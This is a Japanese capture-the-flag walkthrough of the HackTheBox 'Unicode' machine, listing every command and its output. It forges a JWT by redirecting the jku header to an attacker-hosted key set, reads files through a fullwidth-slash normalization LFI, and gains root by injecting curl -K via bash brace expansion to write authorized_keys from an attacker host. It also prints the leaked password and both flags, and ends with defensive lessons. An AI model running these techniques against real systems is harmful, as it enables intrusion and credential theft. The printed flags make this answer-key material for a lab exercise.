HackTheBox: Unicode — 全実行コマンド・実行結果レポート
Nmap スキャン
22/tcp, 80/tcp (vhost: hackmedia.htb)
→
22/tcp, 80/tcp (vhost: hackmedia.htb)
JWT “jku” startswith バイパス
オープンリダイレクト+パストラバーサル
→
オープンリダイレクト+パストラバーサル
admin トークン偽造
攻撃者RSA鍵 + 自前JWKS
→
攻撃者RSA鍵 + 自前JWKS
Unicode正規化 LFI
全角スラッシュ %ef%bc%8f
→
全角スラッシュ %ef%bc%8f
app.py/db.yaml 読取
code:B3stC0d3r2021@@!
→
code:B3stC0d3r2021@@!
SSH(code) → user.txt ✓
→
treport バイナリ解析
decompyle3 でフィルタ特定
→
decompyle3 でフィルタ特定
bashブレース展開
curl -K 任意ファイル書込み
→
curl -K 任意ファイル書込み
root SSH → root.txt ✓
PHASE 1
偵察 (Reconnaissance)
Nmap スキャン
BASH
nmap -sV -sC -p- --min-rate 2000 10.129.51.135
RESULT
PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 80/tcp open http nginx 1.18.0 (Ubuntu) |_http-title: 503
ℹ️
IPへの素の HTTP アクセスは 503(バーチャルホスト未一致)を返す。
名前ベースの vhost 構成であることが分かる。
vhost 特定 & サイト確認
BASH
echo "10.129.51.135 hackmedia.htb" | sudo tee -a /etc/hosts curl -s http://hackmedia.htb/ | grep -o "<title>.*</title>"
RESULT
HTTP/1.1 200 OK
<title>Hackmedia</title>
(Hugoで生成された静的トップページ + Flaskアプリの login/register/dashboard)
ディレクトリ列挙とオープンリダイレクトの発見
BASH
gobuster dir -u http://hackmedia.htb -x php --exclude-length 9294 \ -w raft-medium-directories.txt
RESULT
/register /login /checkout /upload /display /internal
/redirect /debug /dashboard /pricing
ℹ️
トップページの「Google about us」リンクが
/redirect/?url=<dest> という
オープンリダイレクトエンドポイントを使っていることをメモしておく
(後で JWT jku ハイジャックに悪用する)。
ログインして JWT を確認
BASH
curl -s -c cookies.txt http://hackmedia.htb/register/ -o /dev/null curl -s -b cookies.txt -c cookies.txt -X POST http://hackmedia.htb/register/ \ -d "username=killchain&password=Killchain123!&password_confirm=Killchain123!" curl -s -b cookies.txt -c cookies.txt -X POST http://hackmedia.htb/login/ \ -d "username=killchain&password=Killchain123!" -D headers.txt
RESULT (Set-Cookie を base64urlデコード)
ヘッダ部: {"alg":"RS256","jku":"http://hackmedia.htb/static/jwks.json","typ":"JWT"}
ペイロード部: {"user":"killchain"}
🚨
JWT のヘッダに
jku(JWK Set を取得するURL)が含まれている。
このURLをサーバが信頼して任意の場所から公開鍵を取得する実装は、
攻撃者が jku を差し替えられれば署名検証そのものを乗っ取れる
典型的な脆弱性クラス。
PHASE 2
JWT “jku” startswith バイパス → 管理者トークン偽造
app.py の検証ロジック(のちにLFIで確認した実コード)
RESULT (app.py 抜粋)
url = decoded_token.split('"jku"')[1]... # JWTヘッダから jku 文字列を自前パース
if url.startswith("http://hackmedia.htb/static/"):
resp = requests.get(url) # ← このURLへ実際にHTTPリクエスト
jwk = json.loads(resp.text)["keys"][0]
key = jwt.algorithms.RSAAlgorithm.from_jwk(json.dumps(jwk))
decoded_token = jwt.decode(auth_cookie, key, algorithms=["RS256"])
else:
return "jku validation failed"
🚨
検証は
startswith("http://hackmedia.htb/static/") だけ。
文字列がこのプレフィックスで始まってさえいれば、その後にどんな文字列が
続いていても通ってしまう。そして実際にその文字列全体へ
requests.get() するため、リダイレクトが挟まれば
最終的な取得先は完全に攻撃者の自由になる。
オープンリダイレクト + パストラバーサルで jku を乗っ取る
NOTE
jku = "http://hackmedia.htb/static/../redirect/?url=<kali-ip>/"
・startswith("http://hackmedia.htb/static/") は満たす(文字列としてそのまま先頭に一致)
・実際に requests.get() されるのはこの文字列全体。Werkzeug のルーティングは
パスの ".." を正規化してから振り分けるため、実体としては /redirect/?url=... に
ヒットする
・/redirect/ ハンドラは Location: http://+url をそのまま返す(内部で "http://" を
無条件に前置するだけ)ので、url=<kali-ip>/ と指定すれば
Location: http://<kali-ip>/ という正しい302になる
・requests.get() はデフォルトでリダイレクトを追跡するため、最終的に
攻撃者(Kali)の Web サーバへ GET / が飛ぶ
攻撃者RSA鍵の生成 & 自前JWKSの用意
BASH
openssl genrsa -out priv.pem 2048 openssl rsa -in priv.pem -pubout -out pub.pem openssl pkcs8 -topk8 -inform PEM -outform PEM -in priv.pem -out priv_pkcs8.pem -nocrypt
PYTHON (n, e を RFC7518 base64url で算出)
from cryptography.hazmat.primitives import serialization
import base64
pub = serialization.load_pem_public_key(open("pub.pem","rb").read())
nums = pub.public_numbers()
def b64url(n):
b = n.to_bytes((n.bit_length()+7)//8, "big")
return base64.urlsafe_b64encode(b).rstrip(b"=").decode()
print("n=", b64url(nums.n))
print("e=", b64url(nums.e))
RESULT (jwks.json ― 攻撃者サーバでホスト)
{"keys": [{"kty": "RSA", "use": "sig", "kid": "hackthebox", "alg": "RS256",
"n": "q41hnA0LJ0l30-h_syvu...", "e": "AQAB"}]}
admin トークンの偽造と検証
PYTHON
import jwt
jku = "http://hackmedia.htb/static/../redirect/?url=10.10.15.201/"
priv = open("priv_pkcs8.pem").read()
token = jwt.encode({"user": "admin"}, priv, algorithm="RS256",
headers={"jku": jku, "kid": "hackthebox"})
print(token)
BASH
# 攻撃者側でjwks.jsonを配信 (0.0.0.0:80) python3 -m http.server 80 # jwks.json を index として配信するようディレクトリ調整 curl -s -b "auth=<forged token>" http://hackmedia.htb/dashboard/ | grep -o "<title>.*</title>"
RESULT
<title>Admin Dashboard</title>
✅
成功。 一度も正規のログインをしていないにも関わらず、
自分で署名した「user: admin」トークンがそのまま検証に通り、管理者ダッシュボードへ
到達した。
display() エンドポイントも同じ検証ロジックを持ち、
アクセスするたびに毎回 jku を再フェッチするため、以降の
LFI 読み取りでも攻撃者側の JWKS サーバを立てたままにしておく必要がある。
PHASE 3
Unicode正規化の実装順序ミスによる LFI
/display/?page= のパストラバーサル試行
BASH
curl -s -b "auth=<admin token>" \ "http://hackmedia.htb/display/?page=../../../../../etc/passwd"
RESULT
Redirecting... /filenotfound/ ← "../" 等のブラックリストで弾かれる
RESULT (app.py 抜粋、LFI成功後にソース自体を読んで確認)
page = request.args.get('page').lower()
if "../" in page or page.startswith("/etc") or page.startswith("/usr") \
or page.startswith("/proc") or page.startswith("etc") \
or page.startswith("usr") or page.startswith("proc"):
NOT ALLOWED
else:
safe_page = unicodedata.normalize('NFKC', page) # チェックの"後"に正規化!
safe_page_folder = os.getcwd()+"/files/"+safe_page
open(safe_page_folder, "r")
🚨
マシン名 “Unicode” の由来。ブラックリスト判定を先に行い、
Unicode正規化(NFKC)を後で適用するという順序ミスがある。
全角スラッシュ(
U+FF0F, UTF-8で %ef%bc%8f)は
判定時点では通常の “/” と一致しないためブラックリストを回避できるが、
NFKC正規化によって本物の “/” に変換されてからファイルオープンされるため、
正規化後にパストラバーサルが成立する。
全角スラッシュでバイパスして /etc/passwd を読む
BASH
curl -s -b "auth=<admin token>" \ "http://hackmedia.htb/display/?page=..%ef%bc%8f..%ef%bc%8f..%ef%bc%8f..%ef%bc%8f..%ef%bc%8fetc/passwd"
RESULT
root:x:0:0:root:/root:/bin/bash
...
code:x:1000:1000:code:/home/code:/bin/bash
✅
バイパス成功。一般ユーザー
code が存在することを確認。
app.py & db.yaml を読んで DB資格情報を取得
BASH
# display() は files/ ディレクトリ基準なので、1つ上の app.py と同階層の db.yaml を狙う curl -s -b "auth=<admin token>" "http://hackmedia.htb/display/?page=..%ef%bc%8fapp.py" curl -s -b "auth=<admin token>" "http://hackmedia.htb/display/?page=..%ef%bc%8fdb.yaml"
RESULT (db.yaml)
mysql_host: "localhost" mysql_user: "code" mysql_password: "B3stC0d3r2021@@!" mysql_db: "user"
PHASE 4
パスワード使い回しで SSH → user.txt
code ユーザーで SSH ログイン
BASH
sshpass -p 'B3stC0d3r2021@@!' ssh code@10.129.51.135 "id; cat ~/user.txt"
RESULT
uid=1000(code) gid=1000(code) groups=1000(code)
506553c8e80e25402e62208c51f67818
user.txt — code
506553c8e80e25402e62208c51f67818
✅
MySQL用のDBパスワードが、そのまま
code の SSH パスワードとしても
使い回されていた。
PHASE 5
treport バイナリのフィルタ回避 → root.txt
sudo 権限の確認 & バイナリの正体調査
BASH
code@unicode:~$ sudo -l code@unicode:~$ file /usr/bin/treport
RESULT
User code may run the following commands on unicode:
(root) NOPASSWD: /usr/bin/treport
/usr/bin/treport: ELF 64-bit LSB executable ... , stripped
(PyInstaller でビルドされた Python 実行ファイルと判明)
PyInstaller バイナリから元の Python ソースを復元
NOTE
ブラックボックスの手探りテストは非効率なので、バイナリを Kali に scp で持ち帰り、pyinstxtractor で内部の .pyc を取り出し、decompyle3 で 元の Python ソースへ逆コンパイルする。
BASH
scp code@10.129.51.135:/usr/bin/treport . python3 pyinstxtractor.py treport # → treport_extracted/treport.pyc (CPython 3.8, magic 3413) を確認 pip install decompyle3 decompyle3 treport_extracted/treport.pyc
RESULT (download() 関数の復元ソース)
def download(self):
current_time = datetime.now().strftime("%H_%M_%S")
command_injection_list = ["$","`",";","&","|","||",">","<","?","'","@","#","%","^","(",")"]
ip = input("Enter the IP/file_name:")
if re.search(r"\s", ip): # 空白文字は一切禁止
print("INVALID IP"); sys.exit(0)
if "file" in ip or "gopher" in ip or "mysql" in ip: # 小文字の完全一致チェック(大小無視ではない!)
print("INVALID URL"); sys.exit(0)
for c in command_injection_list:
if c in ip:
print("NOT ALLOWED"); sys.exit(0)
cmd = '/bin/bash -c "curl ' + ip + " -o /root/reports/threat_report_" + current_time + '"'
os.system(cmd)
🚨
逆コンパイルにより、以下2点の脆弱性が正確に判明した。
(1)
(2) 禁止文字リストに空白文字を除けば
(1)
"file" in ip は大文字小文字を区別するため
FiLe:// のように大文字を混ぜれば通過できる(walkthrough記載の手法)。(2) 禁止文字リストに空白文字を除けば
{ } ,
が含まれていない。しかし正規表現 \s により
あらゆる空白文字が全面禁止されているため、通常の
-K <file> のようにスペース区切りで追加の curl 引数を
渡すことはできない。
bash ブレース展開で「空白なしの複数引数」を作る
NOTE
bash の中括弧展開 {A,B} は、カンマ区切りの要素を空白区切りの
複数トークンに展開する機能で、$ や `、スペースを一切使わない。
ip = "{-K,/home/code/evil.conf}"
を渡すと、os.system() が実行する最終的なコマンドは:
/bin/bash -c "curl {-K,/home/code/evil.conf} -o /root/reports/threat_report_..."
となり、bash がこれを実行する際に {-K,/home/code/evil.conf} は
"-K" と "/home/code/evil.conf" という2つの独立した引数に展開される。
結果としてcurlは実質的に
curl -K /home/code/evil.conf -o /root/reports/threat_report_...
として起動される。
curl 設定ファイルで任意ファイル書込み
BASH
# SSH鍵ペア生成 (Kali側) ssh-keygen -t ed25519 -f root_key -N "" # code の書込み可能な場所に curl 設定ファイルを作成 code@unicode:~$ cat > /home/code/evil.conf << 'EOF' url = "http://10.10.15.201/pubkey" output = "/root/.ssh/authorized_keys" EOF # Kali側で公開鍵を配信 python3 -m http.server 80 # root_key.pub を "pubkey" という名前で配信
BASH
code@unicode:~$ sudo /usr/bin/treport
Enter your choice: 3
Enter the IP/file_name:{-K,/home/code/evil.conf}
RESULT
Initializing download... % Total % Received % Xferd Average Speed ... 100 91 100 91 0 0 230 0 --:--:-- --:--:-- --:--:-- 230
✅
curl -K は「出力先が既に存在する場合は別名で保存する」という
回避策(axelにあったような挙動)を持たないため、
output= ディレクティブどおり /root/.ssh/authorized_keys
へroot権限で直接書き込みできる。末尾に元々付与される
-o /root/reports/threat_report_... は URL が1つしかないため
"Got more output options than URLs" の警告と共に無視される。
root として SSH ログイン & root.txt 取得
BASH
ssh -i root_key root@10.129.51.135 "id; cat /root/root.txt"
RESULT
uid=0(root) gid=0(root) groups=0(root)
0e9e7905f7548b0b7355f8e4f7de0b97
root.txt
0e9e7905f7548b0b7355f8e4f7de0b97
SUMMARY
攻略サマリー & 教訓
取得フラグ
user.txt — code
506553c8e80e25402e62208c51f67818
root.txt
0e9e7905f7548b0b7355f8e4f7de0b97
使用した脆弱性
| 脆弱性 | 対象 | 影響 | 深刻度 | 利用方法 |
|---|---|---|---|---|
| JWT "jku" ヘッダの検証不備 | Flask アプリの dashboard/display 認証 | 認証・認可バイパス(admin偽装) | Critical | startswithのみの検証をオープンリダイレクト+パストラバーサルで回避し、攻撃者ホストへJWKS取得先を誘導 |
| Unicode正規化順序の誤り(LFI) | /display/?page= | 任意ファイル読み取り | High | ブラックリスト判定"後"にNFKC正規化する実装ミスを全角スラッシュ(%ef%bc%8f)で突く |
| パスワード使い回し | MySQL code アカウント ⇔ OS code アカウント | SSHアクセス(user.txt) | Medium | db.yamlのDBパスワードがそのままOSログインパスワードとして有効 |
| シェルメタ文字フィルタのバイパス(大小文字 + brace展開) | sudo NOPASSWD の /usr/bin/treport | root権限での任意ファイル書込み | Critical | 大文字小文字を区別する文字列ブラックリストと、空白文字のみを禁止する正規表現の隙間をbashのブレース展開で突きcurl -Kを注入 |
攻撃チェーン全体の流れ
| # | フェーズ | 技術 | 取得情報 |
|---|---|---|---|
| 1 | 偵察 | nmap + vhost特定 + gobuster | hackmedia.htb、/redirect オープンリダイレクトの発見 |
| 2 | 認証バイパス | JWT jku startswithバイパス(オープンリダイレクト+パストラバーサル) | 管理者ダッシュボードへの偽装アクセス |
| 3 | LFI | Unicode正規化(NFKC)の実装順序ミス(全角スラッシュ) | app.py/db.yaml読取、DB資格情報 code:B3stC0d3r2021@@! |
| 4 | 横展開 | パスワード使い回しでSSH | user.txt 取得 |
| 5 | 権限昇格 | PyInstallerバイナリのdecompyle3解析 + bashブレース展開でcurl -K注入 | root.txt 取得 |
学んだ教訓 & 防御策
| 問題点 | 防御策 |
|---|---|
| JWT "jku" ヘッダの取得先を文字列の前方一致だけで検証 | jku を信頼せず固定のローカル鍵/事前共有鍵で署名検証する。どうしてもjkuを使うならホスト名・ポート・パスまで厳密一致(urlparseでの構造的検証)させ、リダイレクトを追跡しない設定にする。 |
| パストラバーサル対策をUnicode正規化の"前"に実施 | 入力の正規化(NFKC等)は検証より必ず先に行い、正規化後の文字列に対してブラックリスト/ホワイトリスト判定をかける。 |
| DBパスワードとOSログインパスワードの使い回し | 用途ごとに独立した認証情報を発行する。 |
| シェルコマンド構築時の入力フィルタが不完全(大小文字混在・記号網羅漏れ・bash機能の見落とし) | ユーザー入力をシェルに渡す設計自体を避ける(subprocessをshell=Falseで配列渡しにする)。フィルタに頼る場合はcase-insensitiveな比較と、bashの全構文機能(ブレース展開・変数展開・チルダ展開等)を踏まえた包括的なホワイトリスト検証にする。 |
